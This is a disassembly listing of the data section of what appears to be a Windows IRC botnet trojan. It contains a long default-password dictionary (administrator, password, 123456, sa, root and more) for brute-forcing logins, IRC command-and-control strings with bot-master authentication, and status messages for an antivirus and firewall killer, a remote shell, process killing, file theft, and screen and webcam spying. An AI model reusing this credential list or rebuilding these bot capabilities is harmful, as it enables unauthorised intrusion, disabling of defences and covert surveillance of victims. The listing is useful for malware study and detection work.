dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294D4 dd 10h ; DATA XREF: sub_401ACD+AFCr
; sub_401ACD+B28r ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294C0o
align 4
aLan db 'lan',0 ; DATA XREF: ___:004294B8o
aMain db 'main',0 ; DATA XREF: ___:004294B4o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: ___:004294B0o
aBlank db 'blank',0 ; DATA XREF: ___:004294ACo
align 10h
aOffice db 'office',0 ; DATA XREF: ___:004294A8o
align 4
aControl db 'control',0 ; DATA XREF: ___:004294A4o
aXp db 'xp',0 ; DATA XREF: ___:004294A0o
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:0042949Co
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429498o
align 10h
aSiemens db 'siemens',0 ; DATA XREF: ___:00429494o
aCompaq db 'compaq',0 ; DATA XREF: ___:00429490o
align 10h
aDell db 'dell',0 ; DATA XREF: ___:0042948Co
align 4
aCisco db 'cisco',0 ; DATA XREF: ___:00429488o
align 10h
aIbm db 'ibm',0 ; DATA XREF: ___:00429484o
aOrainstall db 'orainstall',0 ; DATA XREF: ___:0042947Co
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429478o
align 4
aSql db 'sql',0 ; DATA XREF: ___:00429474o
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo
; ___:00429470o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:0042946Co
align 4
aDb1 db 'db1',0 ; DATA XREF: ___:00429464o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429460o
align 4
aData db 'data',0 ; DATA XREF: ___:0042945Co
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429458o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429454o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: ___:00429450o
align 4
aAccess db 'access',0 ; DATA XREF: ___:0042944Co
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429444o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429440o
align 4
aDomain db 'domain',0 ; DATA XREF: ___:0042943Co
align 4
aHello db 'hello',0 ; DATA XREF: ___:00429438o
align 4
aHell db 'hell',0 ; DATA XREF: ___:00429434o
align 4
aGod db 'god',0 ; DATA XREF: ___:00429430o
aSex db 'sex',0 ; DATA XREF: ___:0042942Co
; ___:off_4385E8o
aSlut db 'slut',0 ; DATA XREF: ___:00429428o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:00429424o
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:00429420o
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:0042941Co
align 10h
aBackup db 'backup',0 ; DATA XREF: ___:00429418o
align 4
aTechnical db 'technical',0 ; DATA XREF: ___:00429414o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429410o
align 10h
aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o
; ___:0042940Co
align 4
aMary db 'mary',0 ; DATA XREF: ___:00429408o
align 10h
aKatie db 'katie',0 ; DATA XREF: ___:00429404o
align 4
aKate db 'kate',0 ; DATA XREF: ___:004293FCo
align 10h
aGeorge db 'george',0 ; DATA XREF: ___:004293F8o
align 4
aEric db 'eric',0 ; DATA XREF: ___:004293F4o
align 10h
aChris db 'chris',0 ; DATA XREF: ___:004293F0o
align 4
aIan db 'ian',0 ; DATA XREF: ___:004293ECo
aNeil db 'neil',0 ; DATA XREF: ___:004293E8o
align 4
aLee db 'lee',0 ; DATA XREF: ___:004293E4o
aBrian db 'brian',0 ; DATA XREF: ___:004293E0o
align 10h
aSusan db 'susan',0 ; DATA XREF: ___:004293D8o
align 4
aSue db 'sue',0 ; DATA XREF: ___:004293D4o
aSam db 'sam',0 ; DATA XREF: ___:004293D0o
aLuke db 'luke',0 ; DATA XREF: ___:004293CCo
align 4
aPeter db 'peter',0 ; DATA XREF: ___:004293C8o
; ___:004293DCo
align 10h
aJohn db 'john',0 ; DATA XREF: ___:004293C4o
align 4
aMike db 'mike',0 ; DATA XREF: ___:004293C0o
align 10h
aBill db 'bill',0 ; DATA XREF: ___:004293BCo
align 4
aFred db 'fred',0 ; DATA XREF: ___:004293B8o
align 10h
aJoe db 'joe',0 ; DATA XREF: ___:004293B4o
aJen db 'jen',0 ; DATA XREF: ___:004293B0o
aBob db 'bob',0 ; DATA XREF: ___:004293ACo
; ___:00429400o
aQwe db 'qwe',0 ; DATA XREF: ___:004293A8o
aZxc db 'zxc',0 ; DATA XREF: ___:004293A4o
aAsd db 'asd',0 ; DATA XREF: ___:004293A0o
aQaz db 'qaz',0 ; DATA XREF: ___:0042939Co
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429398o
aWinnt db 'winnt',0 ; DATA XREF: ___:00429394o
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:00429390o
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:0042938Co
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429388o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:00429384o
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429380o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: ___:0042937Co
aOem db 'oem',0 ; DATA XREF: ___:00429378o
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D4o
; ___:00429374o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429370o
align 4
aHome db 'home',0 ; DATA XREF: ___:0042936Co
align 10h
aAccounting db 'accounting',0 ; DATA XREF: ___:00429368o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:00429364o
align 4
aInternet db 'internet',0 ; DATA XREF: ___:00429360o
; ___:004294BCo
align 4
aWww db 'www',0 ; DATA XREF: ___:0042935Co
aWeb db 'web',0 ; DATA XREF: ___:00429358o
aOutlook db 'outlook',0 ; DATA XREF: ___:00429354o
aMail db 'mail',0 ; DATA XREF: ___:00429350o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:0042934Co
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:00429348o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E90o
; ___:00429340o
align 4
aSystem db 'system',0 ; DATA XREF: ___:0042933Co
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:00429334o
align 4
aLinux db 'linux',0 ; DATA XREF: ___:00429330o
align 10h
aUnix db 'unix',0 ; DATA XREF: ___:0042932Co
align 4
aDemo db 'demo',0 ; DATA XREF: ___:00429328o
align 10h
aNone db 'none',0 ; DATA XREF: ___:00429324o
align 4
aTest db 'test',0 ; DATA XREF: ___:0042931Co
align 10h
a2004 db '2004',0 ; DATA XREF: ___:00429318o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo
; ___:00429314o
align 10h
a2002 db '2002',0 ; DATA XREF: ___:00429310o
align 4
a2001 db '2001',0 ; DATA XREF: ___:0042930Co
align 10h
a2000 db '2000',0 ; DATA XREF: ___:00429308o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: ___:00429304o
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:00429300o
align 10h
a12345678 db '12345678',0 ; DATA XREF: ___:004292FCo
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F8o
a123456 db '123456',0 ; DATA XREF: ___:004292F4o
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292F0o
align 4
a1234 db '1234',0 ; DATA XREF: ___:004292ECo
align 4
a123 db '123',0 ; DATA XREF: ___:004292E8o
a12 db '12',0 ; DATA XREF: ___:004292E4o
align 4
a1: ; DATA XREF: ___:004292E0o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292DCo
aPwd db 'pwd',0 ; DATA XREF: ___:004292D8o
aPass db 'pass',0 ; DATA XREF: ___:004292D4o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292D0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:004292CCo
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C8o
align 4
aPassword1 db 'password1',0 ; DATA XREF: ___:004292C4o
align 4
aAdm db 'adm',0 ; DATA XREF: ___:004292C0o
aDb2 db 'db2',0 ; DATA XREF: ___:00429468o
aOracle db 'oracle',0 ; DATA XREF: ___:00429480o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429448o
align 4
aDefault db 'default',0 ; DATA XREF: ___:00429338o
aGuest_0 db 'guest',0 ; DATA XREF: ___:00429320o
align 4
aWwwadmin db 'wwwadmin',0
align 10h
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C8o
aStudent db 'student',0 ; DATA XREF: ___:004294C4o
aOwner db 'owner',0
align 4
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: ___:00429344o
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294CCo
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:004292BCo
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B8o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B4o
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292B0o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292ACo
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A8o
align 10h
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429174o
align 10h
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 10h
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 10h
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429168o
align 10h
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429164o
dword_4299DC dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 10h
dword_429A10 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A3C db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A7C db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
dword_429AA0 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429ABC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC8 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A30+7Eo
dword_429AD0 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B4+EAo ...
unk_429AD8 db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 10h
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
align 10h
unk_429B40 db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 10h
unk_429B80 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E63o
align 4
unk_429BD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 10h
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E13o
; sub_401ACD+7E7Ao
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFCo
align 4
asc_429C54: ; DATA XREF: sub_401ACD+7DCCo
unicode 0, <~>,0
unk_429C58 db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_429CC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CEC db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
unk_429D10 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_429D34 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Bo
dd 2E732520h, 0
unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409685o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_429D7C db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
unk_429DA0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FDo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co
unk_429DF4 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429E1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E40 db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401ACD+796Do
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 10h
unk_429ED0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
unk_429F00 db 2Dh ; - ; DATA XREF: sub_401ACD+7926o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429F20 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409399o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F50 db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429F74 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7885o
dd 27732527h, 2Eh
unk_429F90 db 2Dh ; - ; DATA XREF: sub_401ACD+7803o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429FB4 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7786o
dd 0
unk_429FCC db 2Dh ; - ; DATA XREF: sub_401ACD+7755o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_42A00C dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E6o
dd 2Eh
dword_42A024 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_409140o
dd 746E6573h, 2Eh
unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+766Co
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 10h
dword_42A060 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+7630o
dd 732520h
unk_42A078 db 2Dh ; - ; DATA XREF: sub_401ACD+7611o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42A0A4: ; DATA XREF: sub_401ACD+75F9o
; sub_40F6B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42A0CC db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 10h
unk_42A0F0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 10h
unk_42A130 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42A170 db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o
align 4
unk_42A1A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F74o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42A1DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 10h
unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+7490o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o
align 4
unk_42A244 db 2Dh ; - ; DATA XREF: sub_401ACD+740Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_42A26C db 2Dh ; - ; DATA XREF: sub_401ACD+73D9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E46o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42A2D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_42A308 db 2Dh ; - ; DATA XREF: sub_401ACD+7362o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo
align 4
dword_42A33C dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7319o
dd 2E732520h, 0
unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+72D3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+72B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 10h
unk_42A3B0 db 2Dh ; - ; DATA XREF: sub_401ACD+720Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 10h
unk_42A3D0 db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 10h
unk_42A3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7181o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42A40C dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Fo
dword_42A420 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
